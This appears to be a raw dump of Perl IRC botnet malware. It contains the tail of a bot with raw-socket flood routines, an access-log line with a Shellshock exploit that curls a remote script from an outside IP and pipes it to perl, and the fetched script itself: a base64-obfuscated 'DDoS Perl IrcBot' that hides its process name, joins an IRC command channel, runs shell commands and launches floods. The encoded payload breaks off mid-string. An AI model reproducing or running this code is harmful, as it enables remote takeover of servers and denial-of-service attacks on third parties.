socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $port = 1;
$port <= 65000; $port++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3;
$pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
##############
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
##############
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
exit;
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
}
###################
##### [ EOF ] #####
###################
starshaped-access.log:62.141.39.57 - - [23/Oct/2014:14:28:58 -0400] "GET /cgi-bin/add_ftp.cgi HTTP/1.0" 404 17745 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
# From the URL in question http://202.143.160.141/lib21/index.cgi - contents begin on next line
#!/usr/bin/perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyAgRERvUyBQZXJsIElyY0JvdCB2MS4wIC8gMjAxMiBieSBERG9TIFNlY3VyaXR5IFRlYW0gICAgICAgIyMgWyBIZWxwIF0gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICBTdGVhbHRoIE11bHRpRnVuY3Rpb25hbCBJcmNCb3Qgd3JpdGVuIGluIFBlcmwgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICAgIFRlc3RlIG9uIGV2ZXJ5IHN5c3RlbSB3aXRoIFBFUkwgaW5zdGxsZWQgICAgICAgICAgICAgIyMgICF1IEBzeXN0ZW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEB2ZXJzaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgIFRoaXMgaXMgYSBmcmVlIHByb2dyYW0gdXNlZCBvbiB5b3VyIG93biByaXNrLiAgICAgICAgICAgIyMgICF1IEBjaGFubmVsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgIENyZWF0ZWQgZm9yIGVkdWNhdGlvbmFsIHB1cnBvc2Ugb25seS4gICAgICAgICAgICAgICAgIyMgICF1IEBmbG9vZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgSSdtIG5vdCByZXNwb25zaWJsZSBmb3IgdGhlIGlsbGVnYWwgdXNlIG9mIHRoaXMgcHJvZ3JhbS4gICAgIyMgICF1IEB1dGlscyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgWyBDaGFubmVsIF0gIyMjIyMjIyMjIyMjIyMjIyMjIyMgWyBGbG9vZCBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgWyBVdGlscyBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICF1IEBqb2luIDwjY2hhbm5lbD4JICAgICAgICAgIyMgICF1IEB1ZHAxIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF1IEBjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAjIw0KIyMgICF1IEBwYXJ0IDwjY2hhbm5lbD4gICAgICAgICAgIyMgICF1IEB1ZHAyIDxpcD4gPHBhY2tldCBzaXplPiA8dGltZT4gICAgICAgIyMgICF1IEBkb3dubG9kIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAjIw0KIyMgICF1ICF1ZWpvaW4gPCNjaGFubmVsPiAgICAgICAgIyMgICF1IEB1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF1IEBwb3J0c2NhbiA8aXA+ICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFvcCA8Y2hhbm5lbD4gPG5pY2s+ICAgICAgIyMgICF1IEB0Y3AgPGlwPiA8cG9ydD4gPHBhY2tldCBzaXplPiA8dGltZT4gIyMgICF1IEBtYWlsIDxzdWJqZWN0PiA8c2VuZGVyPiAgICAgICAjIw0KIyMgICF1ICFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIyMgICF1IEBodHRwIDxzaXRlPiA8dGltZT4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgIDxyZWNpcGllbnQ+IDxtZXNzYWdlPiAgICAjIw0KIyMgICF1ICF2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF1IHB3ZDt1bmFtZSAtYTtpZCA8Zm9yIGV4YW1wbGU+ICAjIw0KIyMgICF1ICFkZXZvaWNlIDxjaGFubmVsPiA8bmljaz4gIyMgICF1IEBjdGNwZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEBwb3J0IDxpcD4gPHBvcnQ+ICAgICAgICAgICAgICAjIw0KIyMgICF1ICFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIyMgICF1IEBtc2dmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEBkbnMgPGlwL2hvc3Q+ICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFtc2cgPG5pY2s+ICAgICAgICAgICAgICAgIyMgICF1IEBub3RpY2VmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFxdWl0ICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICF1YXcgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1IEBkaWUgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMgWyBDb25maWd1cmF0aW9uIF0gIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCm15IEBycHMgPSAoIi91c3IvbG9jYWwvYXBhY2hlL2Jpbi9odHRwZCAtRFNTTCIsDQoJCSAgICIvdXNyL3NiaW4vaHR0cGQgLWsgc3RhcnQgLURTU0wiLA0KICAgICAgICAgICAiL3Vzci9zYmluL2h0dHBkIiwNCgkJICAgIi91c3Ivc2Jpbi9zc2hkIC1pIiwNCgkJICAgIi91c3Ivc2Jpbi9zc2hkIiwNCgkgICAgICAgIi91c3Ivc2Jpbi9zc2hkIC1EIiwNCiAgICAgICAgICAgIi91c3Ivc2Jpbi9hcGFjaGUyIC1rIHN0YXJ0IiwNCgkgICAgICAgIi9zYmluL3N5c2xvZ2QiLA0KCSAgICAgICAiL3NiaW4va2xvZ2QgLWMgMSAteCAteCIsDQoJCSAgICIvdXNyL3NiaW4vYWNwaWQiLA0KCQkgICAiL3Vzci9zYmluL2Nyb24iKTsNCm15ICRwcm9jZXNzID0gJHJwc1tyYW5kIHNjYWxhciBAcnBzXTsNCg0KbXkgJHZlcnMgPSAiXDAwMVZFUlNJT04gLSB1bmtub3duIGNvbW1hbmQuXDAwMSI7DQpteSAkaXJjbmFtZSA9ICJzaG9jayI7DQpteSAkcmVhbG5hbWUgPSBgdW5hbWUgLXZyYDsNCm15ICRuaWNrID0gInBlcmwiOw0KDQokc2VydmVyID0gJ2ZmbHl5LnN1JyB1bmxlc3MgJHNlcnZlcjsNCm15ICRwb3J0ID0gJzgwODAnOw0KDQpteSAkbGluYXNfbWF4PScxMCc7DQpteSAkc2xlZXA9JzUnOw0KDQpteSAkaG9tZWRpciA9ICIvdG1wIjsNCm15ICR2ZXJzaW9uID0gJ0REb1MgUGVybCBCb3QgdjEuMCc7DQoNCm15IEBhZG1pbnMgPSAoIk0iLCJzdDBuM2QiLCJ4MDAiLCJKb3JnZWUiKTsNCm15IEBob3N0YXV0aCA9ICgibG9saG9tZSIpOw0KbXkgQGNoYW5uZWxzID0gKCIjbXBlcmwyIik7DQokdW5hbWVhID0gYHVuYW1lIC1hYDsNCiR1aWQgPSBgaWRgOw0KDQpteSAkcGFjb3RlcyA9IDE7DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIFN0b3AgRWRpdGluZyBpZiB5b3UgZG9udCBrbm93IHdoYXQgYXJlIHlvdSBkb2luZy4gXSAjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7DQokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJFNJR3snUFMnfSA9ICdJR05PUkUnOw0KDQp1c2UgU29ja2V0Ow0KdXNlIElPOjpTb2NrZXQ7DQp1c2UgSU86OlNvY2tldDo6SU5FVDsNCnVzZSBJTzo6U2VsZWN0Ow0KDQpjaGRpcigiJGhvbWVkaXIiKTsNCg0KJHNlcnZlcj0iJEFSR1ZbMF0iIGlmICRBUkdWWzBdOw0KJDA9IiRwcm9jZXNzIi4iXDAieDE2OzsNCm15ICRwaWQ9Zm9yazsNCmV4aXQgaWYgJHBpZDsNCmRpZSAiQ2FuJ3QgZm9yayBpbiBiYWNrZ3JvdW5kOiAkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7DQoNCm91ciAlaXJjX3NlcnZlcnM7DQpvdXIgJURDQzsNCm15ICRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOw0KJHNlbF9jbGllbnRlID0gSU86OlNlbGVjdC0+bmV3KCk7DQpzdWIgc2VuZHJhdyB7DQogIGlmICgkI18gPT0gJzEnKSB7DQogICAgbXkgJHNvY2tldCA9ICRfWzBdOw0KICAgIHByaW50ICRzb2NrZXQgIiRfWzFdXG4iOw0KICB9IGVsc2Ugew0KICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7DQogIH0NCn0NCg0Kc3ViIGdldHN0b3JlICgkJCkNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkZmlsZSA9IHNoaWZ0Ow0KICAkaHR0cF9zdHJlYW1fb3V0ID0gMTsNCiAgb3BlbihHRVRfT1VURklMRSwgIj4gJGZpbGUiKTsNCiAgJWh0dHBfbG9vcF9jaGVjayA9ICgpOw0KICBfZ2V0KCR1cmwpOw0KICBjbG9zZSBHRVRfT1VURklMRTsNCiAgcmV0dXJuICRtYWluOjpodHRwX2dldF9yZXN1bHQ7DQp9DQoNCnN1YiBfZ2V0DQp7DQogIG15ICR1cmwgPSBzaGlmdDsNCiAgbXkgJHByb3h5ID0gIiI7DQogIGdyZXAgeyhsYygkXykgZXEgImh0dHBfcHJveHkiKSAmJiAoJHByb3h5ID0gJEVOVnskX30pfSBrZXlzICVFTlY7DQogIGlmICgoJHByb3h5IGVxICIiKSAmJiAkdXJsID1+IG0sXmh0dHA6Ly8oW14vOl0rKSg/OjooXGQrKSk/KC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyIHx8IDgwOw0KICAgIG15ICRwYXRoID0gJDM7DQogICAgJHBhdGggPSAiLyIgdW5sZXNzIGRlZmluZWQoJHBhdGgpOw0KICAgIHJldHVybiBfdHJpdmlhbF9odHRwX2dldCgkaG9zdCwgJHBvcnQsICRwYXRoKTsNCiAgfSBlbHNpZiAoJHByb3h5ID1+IG0sXmh0dHA6Ly8oW14vOl0rKTooXGQrKSgvXFMqKT8kLCkgew0KICAgIG15ICRob3N0ID0gJDE7DQogICAgbXkgJHBvcnQgPSAkMjsNCiAgICBteSAkcGF0aCA9ICR1cmw7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2Ugew0KICAgIHJldHVybiB1bmRlZjsNCiAgfQ0KfQ0KDQoNCnN1YiBfdHJpdmlhbF9odHRwX2dldA0Kew0KICBteSgkaG9zdCwgJHBvcnQsICRwYXRoKSA9IEBfOw0KICBteSgkQUdFTlQsICRWRVJTSU9OLCAkcCk7DQogICRBR0VOVCA9ICJnZXQtbWluaW1hbCI7DQogICRWRVJTSU9OID0gIjIwMDAwMTE4IjsNCiAgJHBhdGggPX4gcy8gLyUyMC9nOw0KDQogIHJlcXVpcmUgSU86OlNvY2tldDsNCiAgbG9jYWwoJF5XKSA9IDA7DQogIG15ICRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAkcG9ydCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICA9PiAndGNwJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCAgPT4gNjApIHx8IHJldHVybjsNCiAgJHNvY2stPmF1dG9mbHVzaDsNCiAgbXkgJG5ldGxvYyA9ICRob3N0Ow0KICAkbmV0bG9jIC49ICI6JHBvcnQiIGlmICRwb3J0ICE9IDgwOw0KICBteSAkcmVxdWVzdCA9ICJHRVQgJHBhdGggSFRUUC8xLjBcMDE1XDAxMiINCiAgICAgICAgICAgICAgLiAiSG9zdDogJG5ldGxvY1wwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiAkQUdFTlQvJFZFUlNJT04vdVwwMTVcMDEyIjsNCiAgJHJlcXVlc3QgLj0gIlByYWdtYTogbm8tY2FjaGVcMDE1XDAxMiIgaWYgKCRtYWluOjpodHRwX25vX2NhY2hlKTsNCiAgJHJlcXVlc3QgLj0gIlwwMTVcMDEyIjsNCiAgcHJpbnQgJHNvY2sgJHJlcXVlc3Q7DQoNCiAgbXkgJGJ1ZiA9ICIiOw0KICBteSAkbjsNCiAgbXkgJGIxID0gIiI7DQogIHdoaWxlICgkbiA9IHN5c3JlYWQoJHNvY2ssICRidWYsIDgqMTAyNCwgbGVuZ3RoKCRidWYpKSkgew0KICAgIGlmICgkYjEgZXEgIiIpIHsNCiAgICAgICRiMSA9ICRidWY7DQogICAgICAkYnVmID1+IHMvLis/XDAxNT9cMDEyXDAxNT9cMDEyLy9zOw0KICAgIH0NCiAgICBpZiAoJGh0dHBfc3RyZWFtX291dCkgeyBwcmludCBHRVRfT1VURklMRSAkYnVmOyAkYnVmID0gIiI7IH0NCiAgfQ0KICByZXR1cm4gdW5kZWYgdW5sZXNzIGRlZmluZWQoJG4pOw0KICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gMjAwOw0KICBpZiAoJGIxID1+IG0sXkhUVFAvXGQrXC5cZCtccysoXGQrKVteXDAxMl0qXDAxMiwpIHsNCiAgICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gJDE7DQogICAgaWYgKCRtYWluOjpodHRwX2dldF9yZXN1bHQgPX4gL14zMFsxMjM3XS8gJiYgJGIxID1+IC9cMDEyTG9jYXRpb246XHMqKFxTKykvKSB7DQogICAgICBteSAkdXJsID0gJDE7DQogICAgICByZXR1cm4gdW5kZWYgaWYgJGh0dHBfbG9vcF9jaGVja3skdXJsfSsrOw0KICAgICAgcmV0dXJuIF9nZXQoJHVybCk7DQogICAgfQ0KICAgIHJldHVybiB1bmRlZiB1bmxlc3MgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjIvOw0KICB9DQoNCiAgcmV0dXJuICRidWY7DQp9DQoNCnN1YiBjb25lY3RhciB7DQogIG15ICRtZXVuaWNrID0gJF9bMF07DQogIG15ICRzZXJ2ZXJfY29uID0gJF9bMV07DQogIG15ICRwb3J0X2NvbiA9ICRfWzJdOw0KICBteSAkSVJDX3NvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90bz0+InRjcCIsIFBlZXJBZGRyPT4iJHNlcnZlcl9jb24iLA0KICBQZWVyUG9ydD0+JHBvcnRfY29uKSBvciByZXR1cm4oMSk7DQogIGlmIChkZWZpbmVkKCRJUkNfc29ja2V0KSkgew0KICAgICRJUkNfY3VyX3NvY2tldCA9ICRJUkNfc29ja2V0Ow0KICAgICRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7DQogICAgJHNlbF9jbGllbnRlLT5hZGQoJElSQ19zb2NrZXQpOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNlcnZlcl9jb24iOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydwb3J0J30gPSAiJHBvcnRfY29uIjsNCiAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J21ldWlwJ30gPSAkSVJDX3NvY2tldC0+c29ja2hvc3Q7DQogICAgbmljaygiJG1ldW5pY2siKTsNCiAgICBzZW5kcmF3KCJVU0VSICRpcmNuYW1lICIuJElSQ19zb2NrZXQtPnNvY2tob3N0LiIgJHNlcnZlcl9jb24gOiRyZWFsbmFtZSIpOw0KICAgIHNsZWVwIDE7DQogIH0NCn0NCg0KbXkgJGxpbmVfdGVtcDsNCndoaWxlKCAxICkgew0KICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKCIkbmljayIsICIkc2VydmVyIiwgIiRwb3J0Iik7IH0NCiAgZGVsZXRlKCRpcmNfc2VydmVyc3snJ30pIGlmIChkZWZpbmVkKCRpcmNfc2VydmVyc3snJ30pKTsNCiAgbXkgQHJlYWR5ID0gJHNlbF9jbGllbnRlLT5jYW5fcmVhZCgwKTsNCiAgbmV4dCB1bmxlc3MoQHJlYWR5KTsNCiAgZm9yZWFjaCAkZmggKEByZWFkeSkgew0KICAgICRJUkNfY3VyX3NvY2tldCA9ICRmaDsNCiAgICAkbWV1bmljayA9ICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ307DQogICAgJG5yZWFkID0gc3lzcmVhZCgkZmgsICRtc2csIDQwOTYpOw0KICAgIGlmICgkbnJlYWQgPT0gMCkgew0KICAgICAgJHNlbF9jbGllbnRlLT5yZW1vdmUoJGZoKTsNCiAgICAgICRmaC0+Y2xvc2U7DQogICAgICBkZWxldGUoJGlyY19zZXJ2ZXJzeyRmaH0pOw0KICAgIH0NCiAgICBAbGluZXMgPSBzcGxpdCAoL1xuLywgJG1zZyk7DQogICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsgJGMrKykgew0KICAgICAgJGxpbmUgPSAkbGluZXNbJGNdOw0KICAgICAgJGxpbmU9JGxpbmVfdGVtcC4kbGluZSBpZiAoJGxpbmVfdGVtcCk7DQogICAgICAkbGluZV90ZW1wPScnOw0KICAgICAgJGxpbmUgPX4gcy9cciQvLzsNCiAgICAgIHVubGVzcyAoJGMgPT0gJCNsaW5lcykgew0KICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgaWYgKCQjbGluZXMgPT0gMCkgew0KICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgIH0gZWxzaWYgKCRsaW5lc1skY10gPX4gL1xyJC8pIHsNCiAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgcGFyc2UoIiRsaW5lIik7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgJGxpbmVfdGVtcCA9ICRsaW5lOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9DQp9DQoNCnN1YiBwYXJzZSB7DQogIG15ICRzZXJ2YXJnID0gc2hpZnQ7DQogIGlmICgkc2VydmFyZyA9fiAvXlBJTkcgXDooLiopLykgew0KICAgIHNlbmRyYXcoIlBPTkcgOiQxIik7DQogICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJVk1TRyAoLis/KSBcOiguKykvKSB7DQogICAgbXkgJHBuPSQxOyBteSAkaG9zdG1hc2s9ICQzOyBteSAkb25kZSA9ICQ0OyBteSAkYXJncyA9ICQ1Ow0KICAgIGlmICgkYXJncyA9fiAvXlwwMDFWRVJTSU9OXDAwMSQvKSB7DQoNCiAgICB9DQoJaWYgKGdyZXAgeyRfID1+IC9eXFEkaG9zdG1hc2tcRSQvaSB9IEBob3N0YXV0aCkgew0KICAgIGlmIChncmVwIHskXyA9fiAvXlxRJHBuXEUkL2kgfSBAYWRtaW5zICkgew0KICAgIGlmICgkb25kZSBlcSAiJG1ldW5pY2siKXsNCiAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7DQogIH0NCiAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tcRXxcIXUpXHMrKC4qKS8gKSB7DQogICAgbXkgJG5hdHJpeCA9ICQxOw0KICAgIG15ICRhcmcgPSAkMjsNCiAgICBpZiAoJGFyZyA9fiAvXlwhKC4qKS8pIHsNCiAgICAgIGlyY2FzZSgiJHBuIiwiJG9uZGUiLCIkMSIpOw0KICAgICAgfSBlbHNpZiAoJGFyZyA9fiAvXlxAKC4qKS8pIHsNCiAgICAgICRvbmRlcCA9ICRvbmRlOw0KICAgICAgJG9uZGVwID0gJHBuIGlmICRvbmRlIGVxICRtZXVuaWNrOw0KICAgICAgYmZ1bmMoIiRvbmRlcCIsIiQxIik7DQogICAgICB9IGVsc2Ugew0KICAgICAgc2hlbGwoIiRvbmRlIiwgIiRhcmciKTsNCiAgICB9DQogIH0NCn0NCn0NCn0NCg0KZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pXHMrTklDS1xzK1w6KFxTKykvaSkgew0KICBpZiAobGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgew0KICAkbWV1bmljaz0kNDsNCiAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOw0KICB9DQogIH0gZWxzaWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgew0KICBuaWNrKCIkbWV1bmlja3wiLmludCByYW5kKCg4OTk5OTk5OTk5KSsxMDAwMDAwMDAwKSk7DQogIH0gZWxzaWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccyswMDFccysoXFMrKVxzL2kpIHsNCiAgJG1ldW5pY2sgPSAkMjsNCiAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOw0KICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbm9tZSd9ID0gIiQxIjsNCiAgZm9yZWFjaCBteSAkY2FuYWwgKEBjaGFubmVscykgew0KCXNlbmRyYXcoIk1PREUgJG5pY2sgK3giKTsNCiAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCIpOw0KCXNlbmRyYXcoIlBSSVZNU0cgJGNhbmFsIDokdW5hbWVhIik7DQoJc2VuZHJhdygiUFJJVk1TRyAkY2FuYWwgOiR1aWQiKTsNCn0NCn0NCn0NCg0Kc3ViIGJmdW5jIHsNCm15ICRwcmludGwgPSAkX1swXTsNCm15ICRmdW5jYXJnID0gJF9bMV07DQogIGlmIChteSAkcGlkID0gZm9yaykgew0KICB3YWl0cGlkKCRwaWQsIDApOw0KICB9IGVsc2Ugew0KICBpZiAoZm9yaykgew0KICBleGl0Ow0KICB9IGVsc2Ugew0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEhlbHAgTW9kdWxlIF0gIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQppZiAoJGZ1bmNhcmcgPX4gL15oZWxwLykgew0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk